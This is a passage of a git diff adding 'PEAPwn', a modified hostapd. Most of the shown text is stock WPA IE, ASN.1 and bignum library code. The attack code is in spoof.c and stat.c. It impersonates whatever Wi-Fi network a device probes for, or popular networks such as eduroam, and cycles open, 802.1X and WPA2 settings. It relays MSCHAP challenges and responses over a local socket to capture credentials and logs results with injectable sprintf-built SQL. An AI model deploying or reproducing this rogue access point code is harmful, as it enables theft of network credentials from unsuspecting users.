wpa_supplicant_parse_ies - Parse EAPOL-Key Key Data IEs + * @buf: Pointer to the Key Data buffer + * @len: Key Data Length + * @ie: Pointer to parsed IE data + * Returns: 0 on success, -1 on failure + */ +int wpa_supplicant_parse_ies(const u8 *buf, size_t len, + struct wpa_eapol_ie_parse *ie) +{ + const u8 *pos, *end; + int ret = 0; + + os_memset(ie, 0, sizeof(*ie)); + for (pos = buf, end = pos + len; pos + 1 < end; pos += 2 + pos[1]) { + if (pos[0] == 0xdd && + ((pos == buf + len - 1) || pos[1] == 0)) { + /* Ignore padding */ + break; + } + if (pos + 2 + pos[1] > end) { + wpa_printf(MSG_DEBUG, "WPA: EAPOL-Key Key Data " + "underflow (ie=%d len=%d pos=%d)", + pos[0], pos[1], (int) (pos - buf)); + wpa_hexdump_key(MSG_DEBUG, "WPA: Key Data", + buf, len); + ret = -1; + break; + } + if (*pos == WLAN_EID_RSN) { + ie->rsn_ie = pos; + ie->rsn_ie_len = pos[1] + 2; + wpa_hexdump(MSG_DEBUG, "WPA: RSN IE in EAPOL-Key", + ie->rsn_ie, ie->rsn_ie_len); + } else if (*pos == WLAN_EID_MOBILITY_DOMAIN) { + ie->mdie = pos; + ie->mdie_len = pos[1] + 2; + wpa_hexdump(MSG_DEBUG, "WPA: MDIE in EAPOL-Key", + ie->mdie, ie->mdie_len); + } else if (*pos == WLAN_EID_FAST_BSS_TRANSITION) { + ie->ftie = pos; + ie->ftie_len = pos[1] + 2; + wpa_hexdump(MSG_DEBUG, "WPA: FTIE in EAPOL-Key", + ie->ftie, ie->ftie_len); + } else if (*pos == WLAN_EID_TIMEOUT_INTERVAL && pos[1] >= 5) { + if (pos[2] == WLAN_TIMEOUT_REASSOC_DEADLINE) { + ie->reassoc_deadline = pos; + wpa_hexdump(MSG_DEBUG, "WPA: Reassoc Deadline " + "in EAPOL-Key", + ie->reassoc_deadline, pos[1] + 2); + } else if (pos[2] == WLAN_TIMEOUT_KEY_LIFETIME) { + ie->key_lifetime = pos; + wpa_hexdump(MSG_DEBUG, "WPA: KeyLifetime " + "in EAPOL-Key", + ie->key_lifetime, pos[1] + 2); + } else { + wpa_hexdump(MSG_DEBUG, "WPA: Unrecognized " + "EAPOL-Key Key Data IE", + pos, 2 + pos[1]); + } + } else if (*pos == WLAN_EID_LINK_ID) { + if (pos[1] >= 18) { + ie->lnkid = pos; + ie->lnkid_len = pos[1] + 2; + } + } else if (*pos == WLAN_EID_EXT_CAPAB) { + ie->ext_capab = pos; + ie->ext_capab_len = pos[1] + 2; + } else if (*pos == WLAN_EID_SUPP_RATES) { + ie->supp_rates = pos; + ie->supp_rates_len = pos[1] + 2; + } else if (*pos == WLAN_EID_EXT_SUPP_RATES) { + ie->ext_supp_rates = pos; + ie->ext_supp_rates_len = pos[1] + 2; + } else if (*pos == WLAN_EID_HT_CAP) { + ie->ht_capabilities = pos + 2; + ie->ht_capabilities_len = pos[1]; + } else if (*pos == WLAN_EID_VHT_AID) { + if (pos[1] >= 2) + ie->aid = WPA_GET_LE16(pos + 2); + } else if (*pos == WLAN_EID_VHT_CAP) { + ie->vht_capabilities = pos + 2; + ie->vht_capabilities_len = pos[1]; + } else if (*pos == WLAN_EID_QOS && pos[1] >= 1) { + ie->qosinfo = pos[2]; + } else if (*pos == WLAN_EID_VENDOR_SPECIFIC) { + ret = wpa_parse_generic(pos, end, ie); + if (ret < 0) + break; + if (ret > 0) { + ret = 0; + break; + } + } else { + wpa_hexdump(MSG_DEBUG, "WPA: Unrecognized EAPOL-Key " + "Key Data IE", pos, 2 + pos[1]); + } + } + + return ret; +} diff --git a/peapwn/mods/hostap/src/rsn_supp/wpa_ie.h b/peapwn/mods/hostap/src/rsn_supp/wpa_ie.h new file mode 100644 index 000000000..2c788012e --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/wpa_ie.h @@ -0,0 +1,64 @@ +/* + * wpa_supplicant - WPA/RSN IE and KDE definitions + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WPA_IE_H +#define WPA_IE_H + +struct wpa_sm; + +struct wpa_eapol_ie_parse { + const u8 *wpa_ie; + size_t wpa_ie_len; + const u8 *rsn_ie; + size_t rsn_ie_len; + const u8 *pmkid; + const u8 *gtk; + size_t gtk_len; + const u8 *mac_addr; + size_t mac_addr_len; +#ifdef CONFIG_PEERKEY + const u8 *smk; + size_t smk_len; + const u8 *nonce; + size_t nonce_len; + const u8 *lifetime; + size_t lifetime_len; + const u8 *error; + size_t error_len; +#endif /* CONFIG_PEERKEY */ +#ifdef CONFIG_IEEE80211W + const u8 *igtk; + size_t igtk_len; +#endif /* CONFIG_IEEE80211W */ + const u8 *mdie; + size_t mdie_len; + const u8 *ftie; + size_t ftie_len; + const u8 *reassoc_deadline; + const u8 *key_lifetime; + const u8 *lnkid; + size_t lnkid_len; + const u8 *ext_capab; + size_t ext_capab_len; + const u8 *supp_rates; + size_t supp_rates_len; + const u8 *ext_supp_rates; + size_t ext_supp_rates_len; + const u8 *ht_capabilities; + size_t ht_capabilities_len; + const u8 *vht_capabilities; + size_t vht_capabilities_len; + u8 qosinfo; + u16 aid; +}; + +int wpa_supplicant_parse_ies(const u8 *buf, size_t len, + struct wpa_eapol_ie_parse *ie); +int wpa_gen_wpa_ie(struct wpa_sm *sm, u8 *wpa_ie, size_t wpa_ie_len); + +#endif /* WPA_IE_H */ diff --git a/peapwn/mods/hostap/src/spoof/Makefile b/peapwn/mods/hostap/src/spoof/Makefile new file mode 100644 index 000000000..adfd3dfd5 --- /dev/null +++ b/peapwn/mods/hostap/src/spoof/Makefile @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff --git a/peapwn/mods/hostap/src/spoof/spoof.c b/peapwn/mods/hostap/src/spoof/spoof.c new file mode 100644 index 000000000..d68a057e2 --- /dev/null +++ b/peapwn/mods/hostap/src/spoof/spoof.c @@ -0,0 +1,238 @@ +#include "utils/includes.h" +#include "utils/common.h" +#include "ap/ap_config.h" +#include "spoof.h" +#include "ap/wpa_auth.h" +#include "ap/wpa_auth_i.h" +#include +#include +#include +#include + +#define UNIX_PATH_MAX 108 + +/* AP stuff */ + +const char *popular_networks[] = { + "TELENETHOMESPOT", + "FON_BELGACOM", + "eduroam", + NULL +}; + +int is_blacklisted(struct hostapd_data *hapd, const u8* ssid, u8 ssid_len) { + char* begin = hapd->conf->ssid_blacklist; + char* index; + + if(begin) { + index = strchr(hapd->conf->ssid_blacklist, ','); + while (index != NULL) { + //wpa_printf(MSG_INFO, "Comparing %.*s and %.*s", index - begin, begin, ssid_len, ssid); + if(os_strncmp(begin, (char *)(ssid), ssid_len) == 0) + return 1; + + + begin = index + 1; + index = strchr(begin, ','); + } + + index = begin + os_strlen(begin); + //wpa_printf(MSG_INFO, "Comparing %s and %.*s", begin, ssid_len, ssid); + if(os_strncmp(begin, (char *)(ssid), ssid_len) == 0) + return 1; + } + + return 0; +} + +// If specific=0, this function spoofs every SSID except blacklisted ones +void set_spoofed_ssid(struct hostapd_data *hapd, struct spoof_ssid* spoofedssid, struct ieee802_11_elems* elems) { + int popular_networks_len = (sizeof(popular_networks) - sizeof(void *)) / sizeof(void *); + int random_choice = rand() % popular_networks_len; + + // Zero out array + os_memset(spoofedssid->ssid, 0, HOSTAPD_MAX_SSID_LEN); + + // If probe request for broadcast SSID, use a popular network to respond + int blacklisted = is_blacklisted(hapd, elems->ssid, elems->ssid_len); + if(elems->ssid_len == 0 || blacklisted) { + struct spoof_ssid* result; + + // If we don't cycle between ssids, use the set SSID only for broadcast + if(hapd->conf->cycle_spoof_ssids) + result = spoof_cycle_ssid(hapd); + else + result = &hapd->conf->ssid; // TODO: cleaner + + // If we found a cycled ssid, use it + if(result) { + os_memcpy(spoofedssid->ssid, result->ssid, result->ssid_len); + spoofedssid->ssid_len = result->ssid_len; + } else { // Otherwise use a popular network + u8 ssid_len = os_strlen(popular_networks[random_choice]); // Get length of string + + // Spoof popular network + os_memcpy(spoofedssid->ssid, popular_networks[random_choice], ssid_len); + spoofedssid->ssid_len = ssid_len; + } + } else { + // Spoof network in Probe Request + os_memcpy(spoofedssid->ssid, elems->ssid, elems->ssid_len); + spoofedssid->ssid_len = elems->ssid_len; + + // Add to broadcast array + spoof_cycle_store_ssid(hapd, spoofedssid); + } +} + +void print_wpa_ie(struct hostapd_data *hapd) { + if(hapd->wpa_auth && hapd->wpa_auth->wpa_ie) { + int i; + printf("wpa_ie: "); + for(i = 0; i < hapd->wpa_auth->wpa_ie_len; i++) { + printf("\\x%02X", hapd->wpa_auth->wpa_ie[i]); + } + printf("\n"); + } +} + +void spoof_cycle_ie(struct hostapd_data *hapd) { + u8* temp; + static spoof_net_type current_net_type = OPEN; + static int net_count = 0; + + // If we started with an open network, create the wpa_auth struct to update the IE later + if(!hapd->wpa_auth) { + wpa_printf(MSG_INFO, "No wpa_auth set!"); + hapd->wpa_auth = os_zalloc(sizeof(struct wpa_authenticator)); + } + + switch(current_net_type) { + case OPEN: + hapd->conf->wpa = 0; + hapd->conf->auth_algs = 1; + + if(hapd->wpa_auth->wpa_ie) + os_free(hapd->wpa_auth->wpa_ie); + hapd->wpa_auth->wpa_ie = NULL; + hapd->wpa_auth->wpa_ie_len = 0; + break; + case DOT1X: + hapd->conf->wpa = 2; + hapd->conf->auth_algs = 1; + + if(hapd->wpa_auth->wpa_ie) + os_free(hapd->wpa_auth->wpa_ie); + temp = os_malloc(sizeof(u8) * 22); + os_memcpy(temp, "\x30\x14\x01\x00\x00\x0F\xAC\x04\x01\x00\x00\x0F\xAC\x04\x01\x00\x00\x0F\xAC\x01\x00\x00", 22); + hapd->wpa_auth->wpa_ie = temp; + hapd->wpa_auth->wpa_ie_len = 22; + break; + case WPA2: + hapd->conf->wpa = 3; // 3 = wpa & wpa2 + hapd->conf->auth_algs = 1; + + if(hapd->wpa_auth->wpa_ie) + os_free(hapd->wpa_auth->wpa_ie); + temp = os_malloc(sizeof(u8) * 46); + os_memcpy(temp, "\x30\x14\x01\x00\x00\x0F\xAC\x02\x01\x00\x00\x0F\xAC\x04\x01\x00\x00\x0F\xAC\x02\x00\x00\xDD\x16\x00\x50\xF2\x01\x01\x00\x00\x50\xF2\x02\x01\x00\x00\x50\xF2\x02\x01\x00\x00\x50\xF2\x02", 46); + hapd->wpa_auth->wpa_ie = temp; + hapd->wpa_auth->wpa_ie_len = 46; + break; + default: + wpa_printf(MSG_INFO, "spoof_modify_config entered default. This shouldn't happen."); + break; + } + + // wpa_printf(MSG_INFO, "Net type was %d", current_net_type); + + // Send 5 times a probe response for net type x, then continue to next + if(net_count > 4) { + current_net_type = (current_net_type + 1) % 3; + net_count = 0; + } else { + net_count++; + } + + // Print wpa IE + // print_wpa_ie(hapd); +} + +struct spoof_ssid* spoof_cycle_ssid(struct hostapd_data *hapd) { + static int read_index = 0; + + struct spoof_ssid* result = hapd->conf->spoof_ssid_list[read_index]; + read_index = (read_index + 1) % SPOOF_LIST_SIZE; + + return result; +} + +void spoof_cycle_store_ssid(struct hostapd_data *hapd, struct spoof_ssid* to_store) { + static int write_index = 0; + + // Free & alloc + os_free(hapd->conf->spoof_ssid_list[write_index]); + hapd->conf->spoof_ssid_list[write_index] = os_malloc(sizeof(struct spoof_ssid)); + + // Store data + os_memcpy(hapd->conf->spoof_ssid_list[write_index]->ssid, to_store->ssid, to_store->ssid_len); + hapd->conf->spoof_ssid_list[write_index]->ssid_len = to_store->ssid_len; + + //wpa_printf(MSG_INFO, "Stored SSID %.*s idx %d", to_store->ssid_len, to_store->ssid, write_index); + + // Next + write_index = (write_index + 1) % SPOOF_LIST_SIZE; +} + + +/* Peer stuff */ + +static int socket_fd; + +void spoof_write_challenge_sock(const u8* challenge, int challenge_len) { + struct sockaddr_un address; + int i; + + printf("Entered spoof_write_challenge_sock\n"); + + socket_fd = socket(PF_UNIX, SOCK_STREAM, 0); + if(socket_fd < 0) { + printf("socket() failed\n"); + } + + memset(&address, 0, sizeof(struct sockaddr_un)); + + address.sun_family = AF_UNIX; + snprintf(address.sun_path, UNIX_PATH_MAX, "/tmp/peapwn.sock"); + + // Connect to server + if(connect(socket_fd, (struct sockaddr *) &address, sizeof(struct sockaddr_un)) != 0) { + printf("connect() failed\n"); + } + + printf("!!! Writing challenge: "); + for(i = 0; i < challenge_len; i++) + printf("%02x:", challenge[i]); + printf("\n"); + + write(socket_fd, challenge, 8); +} + +void spoof_read_response_sock(u8** response) { + u8 buffer[256]; + int i; + + printf("Waiting for answer from PEAPwn...\n"); + + read(socket_fd, buffer, 24); + + memcpy(*response, buffer, 24); + + printf("!!! Got response: "); + for(i = 0; i < 24; i++) + printf("%02x:", buffer[i]); + printf("\n"); + + close(socket_fd); +} + diff --git a/peapwn/mods/hostap/src/spoof/spoof.h b/peapwn/mods/hostap/src/spoof/spoof.h new file mode 100644 index 000000000..21ca8e9e8 --- /dev/null +++ b/peapwn/mods/hostap/src/spoof/spoof.h @@ -0,0 +1,23 @@ +#ifndef SPOOF_H +#define SPOOF_H + +#include "ap/hostapd.h" + +struct spoof_ssid; +struct ieee802_11_elems; + +u8 compound_mac_spoof[20]; + +typedef enum spoof_net_type { OPEN, DOT1X, WPA2 } spoof_net_type; + +void set_spoofed_ssid(struct hostapd_data *hapd, struct spoof_ssid* spoofedssid, struct ieee802_11_elems* elems); + +void spoof_write_challenge_sock(const u8* challenge, int challenge_len); +void spoof_read_response_sock(u8** response); + +void spoof_cycle_ie(struct hostapd_data *hapd); + +void spoof_cycle_store_ssid(struct hostapd_data *hapd, struct spoof_ssid* to_store); +struct spoof_ssid* spoof_cycle_ssid(struct hostapd_data *hapd); + +#endif /* SPOOF_H */ diff --git a/peapwn/mods/hostap/src/spoof/stat.c b/peapwn/mods/hostap/src/spoof/stat.c new file mode 100644 index 000000000..ac72b4398 --- /dev/null +++ b/peapwn/mods/hostap/src/spoof/stat.c @@ -0,0 +1,75 @@ +/* + * stat.c + * + * Created on: Apr 29, 2014 + * Author: netphyx + */ + +#include "utils/includes.h" +#include "utils/common.h" +#include "ap/ap_config.h" +#include "stat.h" +#include "ap/wpa_auth.h" +#include "ap/wpa_auth_i.h" +#include + + +void create_tables(char* path) { + sqlite3 *connection; + int error = 0; + char *errorMsg = NULL; + const char *sql; + + error = sqlite3_open(path, &connection); + if (error) { + printf("Can't open credentials database. Exiting..."); + exit(0); + } + + // Create STATS table + sql = "CREATE TABLE IF NOT EXISTS STATS(" \ + "id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL," \ + "type INTEGER NOT NULL," \ + "description TEXT NOT NULL," \ + "number INTEGER NOT NULL," \ + "datetime DATETIME);"; + + error = sqlite3_exec(connection, sql, NULL, NULL, &errorMsg); + if( error != SQLITE_OK ){ + printf("SQL error: %s (%d)", errorMsg, error); + sqlite3_free(errorMsg); + } + + // Close connection + sqlite3_close(connection); + + printf("Created SQLite tables.\n"); +} + +void dump_stat(struct hostapd_data *hapd, int type, const char* description, int number) { + sqlite3 *connection; + int error = 0; + char *errorMsg = NULL; + char sql[255]; + + error = sqlite3_open(hapd->conf->stat_database_path, &connection); + if (error) { + printf("Can't open credentials database. Exiting..."); + exit(0); + } + + sprintf(sql, "INSERT INTO STATS VALUES(NULL, %d, '%s', %d, datetime())", type, description, number); + + error = sqlite3_exec(connection, sql, NULL, NULL, &errorMsg); + if( error != SQLITE_OK && error != SQLITE_CONSTRAINT ){ // Not OK and not a duplicate entry + printf("SQL error: %s (%d)", errorMsg, error); + sqlite3_free(errorMsg); + } + + // Close connection + sqlite3_close(connection); +} + +void store_stat(struct hostapd_data *hapd, int type, const char* description, int number) { + // Future work. We need a hash map data structure to cache data, so we can limit disk access. +} diff --git a/peapwn/mods/hostap/src/spoof/stat.h b/peapwn/mods/hostap/src/spoof/stat.h new file mode 100644 index 000000000..e83a373dc --- /dev/null +++ b/peapwn/mods/hostap/src/spoof/stat.h @@ -0,0 +1,23 @@ +/* + * stat.h + * + * Created on: Apr 29, 2014 + * Author: netphyx + */ + +#ifndef STAT_H_ +#define STAT_H_ + +#include "ap/hostapd.h" + + + +void create_tables(char* path); + +void dump_stat(struct hostapd_data *hapd, int type, const char* description, int number); +void store_stat(struct hostapd_data *hapd, int type, const char* description, int number); + + + + +#endif /* STAT_H_ */ diff --git a/peapwn/mods/hostap/src/tls/.gitignore b/peapwn/mods/hostap/src/tls/.gitignore new file mode 100644 index 000000000..d43242d73 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/.gitignore @@ -0,0 +1 @@ +libtls.a diff --git a/peapwn/mods/hostap/src/tls/Makefile b/peapwn/mods/hostap/src/tls/Makefile new file mode 100644 index 000000000..27cdfcaa9 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/Makefile @@ -0,0 +1,39 @@ +all: libtls.a + +clean: + rm -f *~ *.o *.d libtls.a + +install: + @echo Nothing to be made. + + +include ../lib.rules + +CFLAGS += -DCONFIG_INTERNAL_LIBTOMMATH +CFLAGS += -DCONFIG_CRYPTO_INTERNAL +CFLAGS += -DCONFIG_TLSV11 +CFLAGS += -DCONFIG_TLSV12 + +LIB_OBJS= \ + asn1.o \ + bignum.o \ + pkcs1.o \ + pkcs5.o \ + pkcs8.o \ + rsa.o \ + tlsv1_client.o \ + tlsv1_client_read.o \ + tlsv1_client_write.o \ + tlsv1_common.o \ + tlsv1_cred.o \ + tlsv1_record.o \ + tlsv1_server.o \ + tlsv1_server_read.o \ + tlsv1_server_write.o \ + x509v3.o + + +libtls.a: $(LIB_OBJS) + $(AR) crT $@ $? + +-include $(OBJS:%.o=%.d) diff --git a/peapwn/mods/hostap/src/tls/asn1.c b/peapwn/mods/hostap/src/tls/asn1.c new file mode 100644 index 000000000..53acd530d --- /dev/null +++ b/peapwn/mods/hostap/src/tls/asn1.c @@ -0,0 +1,206 @@ +/* + * ASN.1 DER parsing + * Copyright (c) 2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "asn1.h" + +int asn1_get_next(const u8 *buf, size_t len, struct asn1_hdr *hdr) +{ + const u8 *pos, *end; + u8 tmp; + + os_memset(hdr, 0, sizeof(*hdr)); + pos = buf; + end = buf + len; + + hdr->identifier = *pos++; + hdr->class = hdr->identifier >> 6; + hdr->constructed = !!(hdr->identifier & (1 << 5)); + + if ((hdr->identifier & 0x1f) == 0x1f) { + hdr->tag = 0; + do { + if (pos >= end) { + wpa_printf(MSG_DEBUG, "ASN.1: Identifier " + "underflow"); + return -1; + } + tmp = *pos++; + wpa_printf(MSG_MSGDUMP, "ASN.1: Extended tag data: " + "0x%02x", tmp); + hdr->tag = (hdr->tag << 7) | (tmp & 0x7f); + } while (tmp & 0x80); + } else + hdr->tag = hdr->identifier & 0x1f; + + tmp = *pos++; + if (tmp & 0x80) { + if (tmp == 0xff) { + wpa_printf(MSG_DEBUG, "ASN.1: Reserved length " + "value 0xff used"); + return -1; + } + tmp &= 0x7f; /* number of subsequent octets */ + hdr->length = 0; + if (tmp > 4) { + wpa_printf(MSG_DEBUG, "ASN.1: Too long length field"); + return -1; + } + while (tmp--) { + if (pos >= end) { + wpa_printf(MSG_DEBUG, "ASN.1: Length " + "underflow"); + return -1; + } + hdr->length = (hdr->length << 8) | *pos++; + } + } else { + /* Short form - length 0..127 in one octet */ + hdr->length = tmp; + } + + if (end < pos || hdr->length > (unsigned int) (end - pos)) { + wpa_printf(MSG_DEBUG, "ASN.1: Contents underflow"); + return -1; + } + + hdr->payload = pos; + return 0; +} + + +int asn1_parse_oid(const u8 *buf, size_t len, struct asn1_oid *oid) +{ + const u8 *pos, *end; + unsigned long val; + u8 tmp; + + os_memset(oid, 0, sizeof(*oid)); + + pos = buf; + end = buf + len; + + while (pos < end) { + val = 0; + + do { + if (pos >= end) + return -1; + tmp = *pos++; + val = (val << 7) | (tmp & 0x7f); + } while (tmp & 0x80); + + if (oid->len >= ASN1_MAX_OID_LEN) { + wpa_printf(MSG_DEBUG, "ASN.1: Too long OID value"); + return -1; + } + if (oid->len == 0) { + /* + * The first octet encodes the first two object + * identifier components in (X*40) + Y formula. + * X = 0..2. + */ + oid->oid[0] = val / 40; + if (oid->oid[0] > 2) + oid->oid[0] = 2; + oid->oid[1] = val - oid->oid[0] * 40; + oid->len = 2; + } else + oid->oid[oid->len++] = val; + } + + return 0; +} + + +int asn1_get_oid(const u8 *buf, size_t len, struct asn1_oid *oid, + const u8 **next) +{ + struct asn1_hdr hdr; + + if (asn1_get_next(buf, len, &hdr) < 0 || hdr.length == 0) + return -1; + + if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OID) { + wpa_printf(MSG_DEBUG, "ASN.1: Expected OID - found class %d " + "tag 0x%x", hdr.class, hdr.tag); + return -1; + } + + *next = hdr.payload + hdr.length; + + return asn1_parse_oid(hdr.payload, hdr.length, oid); +} + + +void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len) +{ + char *pos = buf; + size_t i; + int ret; + + if (len == 0) + return; + + buf[0] = '\0'; + + for (i = 0; i < oid->len; i++) { + ret = os_snprintf(pos, buf + len - pos, + "%s%lu", + i == 0 ? "" : ".", oid->oid[i]); + if (ret < 0 || ret >= buf + len - pos) + break; + pos += ret; + } + buf[len - 1] = '\0'; +} + + +static u8 rotate_bits(u8 octet) +{ + int i; + u8 res; + + res = 0; + for (i = 0; i < 8; i++) { + res <<= 1; + if (octet & 1) + res |= 1; + octet >>= 1; + } + + return res; +} + + +unsigned long asn1_bit_string_to_long(const u8 *buf, size_t len) +{ + unsigned long val = 0; + const u8 *pos = buf; + + /* BER requires that unused bits are zero, so we can ignore the number + * of unused bits */ + pos++; + + if (len >= 2) + val |= rotate_bits(*pos++); + if (len >= 3) + val |= ((unsigned long) rotate_bits(*pos++)) << 8; + if (len >= 4) + val |= ((unsigned long) rotate_bits(*pos++)) << 16; + if (len >= 5) + val |= ((unsigned long) rotate_bits(*pos++)) << 24; + if (len >= 6) + wpa_printf(MSG_DEBUG, "X509: %s - some bits ignored " + "(BIT STRING length %lu)", + __func__, (unsigned long) len); + + return val; +} diff --git a/peapwn/mods/hostap/src/tls/asn1.h b/peapwn/mods/hostap/src/tls/asn1.h new file mode 100644 index 000000000..6342c4cc7 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/asn1.h @@ -0,0 +1,66 @@ +/* + * ASN.1 DER parsing + * Copyright (c) 2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef ASN1_H +#define ASN1_H + +#define ASN1_TAG_EOC 0x00 /* not used with DER */ +#define ASN1_TAG_BOOLEAN 0x01 +#define ASN1_TAG_INTEGER 0x02 +#define ASN1_TAG_BITSTRING 0x03 +#define ASN1_TAG_OCTETSTRING 0x04 +#define ASN1_TAG_NULL 0x05 +#define ASN1_TAG_OID 0x06 +#define ASN1_TAG_OBJECT_DESCRIPTOR 0x07 /* not yet parsed */ +#define ASN1_TAG_EXTERNAL 0x08 /* not yet parsed */ +#define ASN1_TAG_REAL 0x09 /* not yet parsed */ +#define ASN1_TAG_ENUMERATED 0x0A /* not yet parsed */ +#define ASN1_TAG_UTF8STRING 0x0C /* not yet parsed */ +#define ANS1_TAG_RELATIVE_OID 0x0D +#define ASN1_TAG_SEQUENCE 0x10 /* shall be constructed */ +#define ASN1_TAG_SET 0x11 +#define ASN1_TAG_NUMERICSTRING 0x12 /* not yet parsed */ +#define ASN1_TAG_PRINTABLESTRING 0x13 +#define ASN1_TAG_TG1STRING 0x14 /* not yet parsed */ +#define ASN1_TAG_VIDEOTEXSTRING 0x15 /* not yet parsed */ +#define ASN1_TAG_IA5STRING 0x16 +#define ASN1_TAG_UTCTIME 0x17 +#define ASN1_TAG_GENERALIZEDTIME 0x18 /* not yet parsed */ +#define ASN1_TAG_GRAPHICSTRING 0x19 /* not yet parsed */ +#define ASN1_TAG_VISIBLESTRING 0x1A +#define ASN1_TAG_GENERALSTRING 0x1B /* not yet parsed */ +#define ASN1_TAG_UNIVERSALSTRING 0x1C /* not yet parsed */ +#define ASN1_TAG_BMPSTRING 0x1D /* not yet parsed */ + +#define ASN1_CLASS_UNIVERSAL 0 +#define ASN1_CLASS_APPLICATION 1 +#define ASN1_CLASS_CONTEXT_SPECIFIC 2 +#define ASN1_CLASS_PRIVATE 3 + + +struct asn1_hdr { + const u8 *payload; + u8 identifier, class, constructed; + unsigned int tag, length; +}; + +#define ASN1_MAX_OID_LEN 20 +struct asn1_oid { + unsigned long oid[ASN1_MAX_OID_LEN]; + size_t len; +}; + + +int asn1_get_next(const u8 *buf, size_t len, struct asn1_hdr *hdr); +int asn1_parse_oid(const u8 *buf, size_t len, struct asn1_oid *oid); +int asn1_get_oid(const u8 *buf, size_t len, struct asn1_oid *oid, + const u8 **next); +void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len); +unsigned long asn1_bit_string_to_long(const u8 *buf, size_t len); + +#endif /* ASN1_H */ diff --git a/peapwn/mods/hostap/src/tls/bignum.c b/peapwn/mods/hostap/src/tls/bignum.c new file mode 100644 index 000000000..f3baafe10 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/bignum.c @@ -0,0 +1,224 @@ +/* + * Big number math + * Copyright (c) 2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "bignum.h" + +#ifdef CONFIG_INTERNAL_LIBTOMMATH +#include "libtommath.c" +#else /* CONFIG_INTERNAL_LIBTOMMATH */ +#include +#endif /* CONFIG_INTERNAL_LIBTOMMATH */ + + +/* + * The current version is just a wrapper for LibTomMath library, so + * struct bignum is just typecast to mp_int. + */ + +/** + * bignum_init - Allocate memory for bignum + * Returns: Pointer to allocated bignum or %NULL on failure + */ +struct bignum * bignum_init(void) +{ + struct bignum *n = os_zalloc(sizeof(mp_int)); + if (n == NULL) + return NULL; + if (mp_init((mp_int *) n) != MP_OKAY) { + os_free(n); + n = NULL; + } + return n; +} + + +/** + * bignum_deinit - Free bignum + * @n: Bignum from bignum_init() + */ +void bignum_deinit(struct bignum *n) +{ + if (n) { + mp_clear((mp_int *) n); + os_free(n); + } +} + + +/** + * bignum_get_unsigned_bin - Get length of bignum as an unsigned binary buffer + * @n: Bignum from bignum_init() + * Returns: Length of n if written to a binary buffer + */ +size_t bignum_get_unsigned_bin_len(struct bignum *n) +{ + return mp_unsigned_bin_size((mp_int *) n); +} + + +/** + * bignum_get_unsigned_bin - Set binary buffer to unsigned bignum + * @n: Bignum from bignum_init() + * @buf: Buffer for the binary number + * @len: Length of the buffer, can be %NULL if buffer is known to be long + * enough. Set to used buffer length on success if not %NULL. + * Returns: 0 on success, -1 on failure + */ +int bignum_get_unsigned_bin(const struct bignum *n, u8 *buf, size_t *len) +{ + size_t need = mp_unsigned_bin_size((mp_int *) n); + if (len && need > *len) { + *len = need; + return -1; + } + if (mp_to_unsigned_bin((mp_int *) n, buf) != MP_OKAY) { + wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); + return -1; + } + if (len) + *len = need; + return 0; +} + + +/** + * bignum_set_unsigned_bin - Set bignum based on unsigned binary buffer + * @n: Bignum from bignum_init(); to be set to the given value + * @buf: Buffer with unsigned binary value + * @len: Length of buf in octets + * Returns: 0 on success, -1 on failure + */ +int bignum_set_unsigned_bin(struct bignum *n, const u8 *buf, size_t len) +{ + if (mp_read_unsigned_bin((mp_int *) n, (u8 *) buf, len) != MP_OKAY) { + wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); + return -1; + } + return 0; +} + + +/** + * bignum_cmp - Signed comparison + * @a: Bignum from bignum_init() + * @b: Bignum from bignum_init() + * Returns: 0 on success, -1 on failure + */ +int bignum_cmp(const struct bignum *a, const struct bignum *b) +{ + return mp_cmp((mp_int *) a, (mp_int *) b); +} + + +/** + * bignum_cmd_d - Compare bignum to standard integer + * @a: Bignum from bignum_init() + * @b: Small integer + * Returns: 0 on success, -1 on failure + */ +int bignum_cmp_d(const struct bignum *a, unsigned long b) +{ + return mp_cmp_d((mp_int *) a, b); +} + + +/** + * bignum_add - c = a + b + * @a: Bignum from bignum_init() + * @b: Bignum from bignum_init() + * @c: Bignum from bignum_init(); used to store the result of a + b + * Returns: 0 on success, -1 on failure + */ +int bignum_add(const struct bignum *a, const struct bignum *b, + struct bignum *c) +{ + if (mp_add((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) { + wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); + return -1; + } + return 0; +} + + +/** + * bignum_sub - c = a - b + * @a: Bignum from bignum_init() + * @b: Bignum from bignum_init() + * @c: Bignum from bignum_init(); used to store the result of a - b + * Returns: 0 on success, -1 on failure + */ +int bignum_sub(const struct bignum *a, const struct bignum *b, + struct bignum *c) +{ + if (mp_sub((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) { + wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); + return -1; + } + return 0; +} + + +/** + * bignum_mul - c = a * b + * @a: Bignum from bignum_init() + * @b: Bignum from bignum_init() + * @c: Bignum from bignum_init(); used to store the result of a * b + * Returns: 0 on success, -1 on failure + */ +int bignum_mul(const struct bignum *a, const struct bignum *b, + struct bignum *c) +{ + if (mp_mul((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) { + wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); + return -1; + } + return 0; +} + + +/** + * bignum_mulmod - d = a * b (mod c) + * @a: Bignum from bignum_init() + * @b: Bignum from 